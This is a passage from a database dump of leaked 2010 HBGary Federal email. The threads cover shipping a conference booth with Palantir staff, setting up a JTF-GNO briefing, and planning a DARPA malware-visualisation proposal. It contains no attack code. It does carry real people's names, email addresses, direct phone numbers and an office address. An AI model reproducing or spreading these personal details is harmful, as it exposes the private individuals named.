booth.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 24, 2010, at 11:04 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhy did you send this to me?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, March 24,\r\n2010 10:48 AM\r\nTo:&nbsp;Bob Slapnik\r\nCc:&nbsp;DeeAnn Buonaccorsi\r\nSubject:&nbsp;Fwd: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust got the information. &nbsp;The Ritz is the one in\r\nTysons Corner.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Timothy Ronan &lt;tronan@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate:&nbsp;March 24, 2010 10:46:13 AM EDT\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nRE: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIf it would be easiest to store local in DC prior to the\r\nconference, you are welcome to send it to our Tysons office.&nbsp;\r\nAlternatively, the Ritz-Carlton will be prepared to start receiving partner\r\nequipment on Monday, 4/5.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOur office mailing address is:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1660 International Dr., Suite 800\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMcLean, VA 22102\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet me know if you decide to mail it here so I can keep an eye\r\nout for it.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPS. Also attached the conference partner guide for your\r\nreference.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim Ronan\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ntronan@palantirtech.com&nbsp;| 571.225.6179\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, March 23,\r\n2010 9:03 PM\r\nTo:&nbsp;Matthew Steckman\r\nCc:&nbsp;Timothy Ronan\r\nSubject:&nbsp;Re: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Matt.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI will have more time once the DARPA proposal is in on\r\nMonday. &nbsp;Right now my brain is full with Cyber Genome.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim. &nbsp;What should I do about our booth? &nbsp;Right now\r\nit is in DC and we can keep it here and have it shipped to your location.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 23, 2010, at 7:08 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nExcellent on JTF.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn terms of booth stuff, Ive CCed Tim&#8230;..he&#8217;ll know best.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, March 23,\r\n2010 5:23 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Matt. &nbsp;Let me see what I can dig up. &nbsp;Jtf\r\nwould be am interesting deployment. &nbsp;I think I may have let a few\r\ngovernment contacts. &nbsp;Certainly have some NG contacts I could reach out to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat address should I give the cpany for our booth? &nbsp;Or\r\ndo u supply booths?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow does all that work?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 23, 2010, at 12:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe keep hearing about cyber ops at JTF-GNO with respect to\r\nour ongoing cyber deployments.&nbsp; Im wondering if you still have any\r\nconnections there and might set up a short briefing for us.&nbsp; Federal\r\nleadership is obviously preferred, but any foot in the door would be\r\nappreciated.&nbsp; We would outline our progress to date with our major cyber\r\ncustomers and give them a quick capabilities brief.&nbsp; We&#8217;d obviously\r\nmention our HBGary connections as well.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet me know what you think.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/24/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/24/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10050,'aaron_hbgary_com/10050.html'),(4441,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002528.M85073P3547Q4439.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: JTF-GNO','I thought Deeanne said she was working with you for the shipping of the demo booth.On Mar 24, 2010, at 11:04 AM, Bob Slapnik wrote:Why did you send this to me?&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, March 24, 2010 10:48 AMTo:&nbsp;Bob SlapnikCc:&nbsp;DeeAnn BuonaccorsiSubject:&nbsp;Fwd: JTF-GNO&nbsp;Just got the information. &nbsp;The Ritz is the one in Tysons Corner.&nbsp;Aaron&nbsp;&nbsp;Begin forwarded message:From:&nbsp;Timothy Ronan &lt;tronan@palantirtech.com&gt;Date:&nbsp;March 24, 2010 10:46:13 AM EDTTo:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;, Matthew Steckman &lt;msteckman@palantirtech.com&gt;Subject: RE: JTF-GNOHi Aaron,&nbsp;If it would be easiest to store local in DC prior to the conference, you are welcome to send it to our Tysons office.&nbsp; Alternatively, the Ritz-Carlton will be prepared to start receiving partner equipment on Monday, 4/5.&nbsp;Our office mailing address is:1660 International Dr., Suite 800McLean, VA 22102&nbsp;Let me know if you decide to mail it here so I can keep an eye out for it.&nbsp;Thanks,Tim&nbsp;PS. Also attached the conference partner guide for your reference.&nbsp;_________________________________________________________Tim RonanPalantir Technologies | Forward Deployed Engineertronan@palantirtech.com&nbsp;| 571.225.6179_________________________________________________________&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, March 23, 2010 9:03 PMTo:&nbsp;Matthew SteckmanCc:&nbsp;Timothy RonanSubject:&nbsp;Re: JTF-GNO&nbsp;Thanks Matt.&nbsp;I will have more time once the DARPA proposal is in on Monday. &nbsp;Right now my brain is full with Cyber Genome.&nbsp;Tim. &nbsp;What should I do about our booth? &nbsp;Right now it is in DC and we can keep it here and have it shipped to your location.&nbsp;Aaron&nbsp;On Mar 23, 2010, at 7:08 PM, Matthew Steckman wrote:Excellent on JTF.&nbsp;In terms of booth stuff, Ive CCed Tim…..he’ll know best.&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, March 23, 2010 5:23 PMTo:&nbsp;Matthew SteckmanSubject:&nbsp;Re: JTF-GNO&nbsp;Hey Matt. &nbsp;Let me see what I can dig up. &nbsp;Jtf would be am interesting deployment. &nbsp;I think I may have let a few government contacts. &nbsp;Certainly have some NG contacts I could reach out to.&nbsp;What address should I give the cpany for our booth? &nbsp;Or do u supply booths?&nbsp;How does all that work?&nbsp;AaronFrom my iPhoneOn Mar 23, 2010, at 12:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:Aaron,&nbsp;We keep hearing about cyber ops at JTF-GNO with respect to our ongoing cyber deployments.&nbsp; Im wondering if you still have any connections there and might set up a short briefing for us.&nbsp; Federal leadership is obviously preferred, but any foot in the door would be appreciated.&nbsp; We would outline our progress to date with our major cyber customers and give them a quick capabilities brief.&nbsp; We’d obviously mention our HBGary connections as well.&nbsp;&nbsp;Let me know what you think.&nbsp;-Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/24/10 03:33:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7586,'aaron_hbgary_com/7586.html'),(4442,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002529.M360296P3547Q4442.eml','\"Maria Lucas\" <maria@hbgary.com>','Fwd: JTF-GNO','Hi Maria,\r\n\r\nAre u shipping the booth.  I just got the below information.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Timothy Ronan \r\n> Date: March 24, 2010 10:46:13 AM EDT\r\n> To: Aaron Barr , Matthew Steckman \r\n> Subject: RE: JTF-GNO\r\n> \r\n> Hi Aaron,\r\n>  \r\n> If it would be easiest to store local in DC prior to the conference, you are welcome to send it to our Tysons office.  Alternatively, the Ritz-Carlton will be prepared to start receiving partner equipment on Monday, 4/5.\r\n>  \r\n> Our office mailing address is:\r\n> 1660 International Dr., Suite 800\r\n> McLean, VA 22102\r\n>  \r\n> Let me know if you decide to mail it here so I can keep an eye out for it.\r\n>  \r\n> Thanks,\r\n> Tim\r\n>  \r\n> PS. Also attached the conference partner guide for your reference.\r\n>  \r\n> _________________________________________________________\r\n> Tim Ronan\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> tronan@palantirtech.com | 571.225.6179\r\n> _________________________________________________________\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, March 23, 2010 9:03 PM\r\n> To: Matthew Steckman\r\n> Cc: Timothy Ronan\r\n> Subject: Re: JTF-GNO\r\n>  \r\n> Thanks Matt.\r\n>  \r\n> I will have more time once the DARPA proposal is in on Monday.  Right now my brain is full with Cyber Genome.\r\n>  \r\n> Tim.  What should I do about our booth?  Right now it is in DC and we can keep it here and have it shipped to your location.\r\n>  \r\n> Aaron\r\n>  \r\n> On Mar 23, 2010, at 7:08 PM, Matthew Steckman wrote:\r\n> \r\n> \r\n> Excellent on JTF.\r\n>  \r\n> In terms of booth stuff, Ive CCed Tim…..he’ll know best.\r\n>  \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, March 23, 2010 5:23 PM\r\n> To: Matthew Steckman\r\n> Subject: Re: JTF-GNO\r\n>  \r\n> Hey Matt.  Let me see what I can dig up.  Jtf would be am interesting deployment.  I think I may have let a few government contacts.  Certainly have some NG contacts I could reach out to.\r\n>  \r\n> What address should I give the cpany for our booth?  Or do u supply booths?\r\n>  \r\n> How does all that work?\r\n>  \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Mar 23, 2010, at 12:01 PM, Matthew Steckman  wrote:\r\n> \r\n> Aaron,\r\n>  \r\n> We keep hearing about cyber ops at JTF-GNO with respect to our ongoing cyber deployments.  Im wondering if you still have any connections there and might set up a short briefing for us.  Federal leadership is obviously preferred, but any foot in the door would be appreciated.  We would outline our progress to date with our major cyber customers and give them a quick capabilities brief.  We’d obviously mention our HBGary connections as well. \r\n>  \r\n> Let me know what you think.\r\n>  \r\n> -Matt\r\n>  \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>  \r\n>  \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>  \r\n>  \r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12721,'aaron_hbgary_com/12721.html'),(4443,'2010-03-24','\"David Lirette\" <david.p.lirette@tasc.com>','/aaron@hbgary.com/new/1297002529.M946573P3547Q4443.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Your status','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nDavid Lirette has sent you a message.\r\n\r\n\r\n  Date:\r\n  3/24/2010\r\n\r\n\r\n  Subject:\r\n  Re: Your status\r\n\r\n\r\n\r\n  Boy HOWDY!\r\n\r\n\r\nOn 03/21/10 5:40 AM, Aaron Barr wrote:\r\n--------------------\r\nAaron Barr Beuracracy, Lack of coordination and info sharing are the US gov biggest hurdles in cyber not a superior adversary http://bit.ly/cTaucv\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',15706,'aaron_hbgary_com/15706.html'),(4444,'2010-03-24','maria@hbgary.com','/aaron@hbgary.com/new/1297002530.M250051P3547Q4444.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Fwd: JTF-GNO','Yes I was shipping to HQ. Will need to get new shipping labels. Will call Deeann. \r\nSent from my Verizon Wireless BlackBerry\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr \r\nDate: Wed, 24 Mar 2010 11:41:06 \r\nTo: Maria Lucas\r\nSubject: Fwd: JTF-GNO\r\n\r\nHi Maria,\r\n\r\nAre u shipping the booth.  I just got the below information.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Timothy Ronan \r\n> Date: March 24, 2010 10:46:13 AM EDT\r\n> To: Aaron Barr , Matthew Steckman \r\n> Subject: RE: JTF-GNO\r\n> \r\n> Hi Aaron,\r\n>  \r\n> If it would be easiest to store local in DC prior to the conference, you are welcome to send it to our Tysons office.  Alternatively, the Ritz-Carlton will be prepared to start receiving partner equipment on Monday, 4/5.\r\n>  \r\n> Our office mailing address is:\r\n> 1660 International Dr., Suite 800\r\n> McLean, VA 22102\r\n>  \r\n> Let me know if you decide to mail it here so I can keep an eye out for it.\r\n>  \r\n> Thanks,\r\n> Tim\r\n>  \r\n> PS. Also attached the conference partner guide for your reference.\r\n>  \r\n>_________________________________________________________\r\n> Tim Ronan\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> tronan@palantirtech.com | 571.225.6179\r\n>_________________________________________________________\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, March 23, 2010 9:03 PM\r\n> To: Matthew Steckman\r\n> Cc: Timothy Ronan\r\n> Subject: Re: JTF-GNO\r\n>  \r\n> Thanks Matt.\r\n>  \r\n> I will have more time once the DARPA proposal is in on Monday.  Right now my brain is full with Cyber Genome.\r\n>  \r\n> Tim.  What should I do about our booth?  Right now it is in DC and we can keep it here and have it shipped to your location.\r\n>  \r\n> Aaron\r\n>  \r\n> On Mar 23, 2010, at 7:08 PM, Matthew Steckman wrote:\r\n> \r\n> \r\n> Excellent on JTF.\r\n>  \r\n> In terms of booth stuff, Ive CCed Tim…..he’ll know best.\r\n>  \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, March 23, 2010 5:23 PM\r\n> To: Matthew Steckman\r\n> Subject: Re: JTF-GNO\r\n>  \r\n> Hey Matt.  Let me see what I can dig up.  Jtf would be am interesting deployment.  I think I may have let a few government contacts.  Certainly have some NG contacts I could reach out to.\r\n>  \r\n> What address should I give the cpany for our booth?  Or do u supply booths?\r\n>  \r\n> How does all that work?\r\n>  \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Mar 23, 2010, at 12:01 PM, Matthew Steckman  wrote:\r\n> \r\n> Aaron,\r\n>  \r\n> We keep hearing about cyber ops at JTF-GNO with respect to our ongoing cyber deployments.  Im wondering if you still have any connections there and might set up a short briefing for us.  Federal leadership is obviously preferred, but any foot in the door would be appreciated.  We would outline our progress to date with our major cyber customers and give them a quick capabilities brief.  We’d obviously mention our HBGary connections as well. \r\n>  \r\n> Let me know what you think.\r\n>  \r\n> -Matt\r\n>  \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>  \r\n>  \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>  \r\n>  \r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',1778,'aaron_hbgary_com/1778.html'),(4445,'2010-03-24','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002538.M370470P3547Q4445.eml','\"Aaron Barr\" <aaron@hbgary.com>','word version of the TA1 draft','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nAttached is a word version of the TA1 draft, with the previous\r\naccomplishments sections.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8311,'aaron_hbgary_com/8311.html'),(4446,'2010-03-24','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','/aaron@hbgary.com/new/1297002538.M984522P3547Q4446.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: TA3 Secure Decisions RFP Clarification','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nWe have a disconnect. Please call me at 631-759-3909 or 631-754-4920\r\next. 147\r\n\r\n&nbsp;\r\n\r\nAnita\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 24, 2010 10:56 AM\r\nTo: Kenny Prole\r\nCc: Ebbe Reker; Frank Zinghini; Anita D\'Amico; Ted Vera\r\nSubject: Re: TA3 Secure Decisions RFP Clarification\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Ken,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThat was on purpose in discussions with Anita to reign in\r\ncosts. &nbsp;The aim will be that we are part of the last teams standing and\r\ntheir will be additional funds in the out years to support further development.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhen can I expect to see updated costs for the plan?\r\n&nbsp;Are you on track to ship the sealed packages today or tomorrow?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 24, 2010, at 8:59 AM, Kenny Prole wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn\r\nreviewing the RFP/SOW you sent (also attached), I noticed there&#8217;s a gap from\r\nmonth 30-35 and no description for months 36-48. Was that your intent?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nreview the current and proposed tasks below if indeed it was just oversight.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCurrent:\r\n\r\n\r\n\r\n\r\n \r\n  \r\n   \r\n   \r\n   Date\r\n   \r\n   \r\n   \r\n   \r\n   Effort\r\n   \r\n   \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 1-6\r\n  \r\n  \r\n  \r\n  \r\n  Define visualization requirements for the analysis of\r\n  malware functionality and behaviors.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 7-8\r\n  \r\n  \r\n  \r\n  \r\n  Describe and document an architecture that visualizes\r\n  malware functionality and behaviors\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 9-15\r\n  \r\n  \r\n  \r\n  \r\n  Develop visualization prototypes to assist in the\r\n  analysis of malware functionality and behaviors.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 15-24\r\n  \r\n  \r\n  \r\n  \r\n  Integrate and demonstrate progressively more complete\r\n  visualization prototypes\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 25-27\r\n  \r\n  \r\n  \r\n  \r\n  Define requirements for the visualization of aggregate\r\n  malware functionality and behaviors (fingerprinting and auto-discovery of\r\n  characteristics through visual cues.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Months 28-29\r\n  \r\n  \r\n  \r\n  \r\n  Describe and document an architecture that visualizes\r\n  aggregate malware functionality and behaviors (fingerprinting and\r\n  auto-discovery of characteristics through visual cues.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  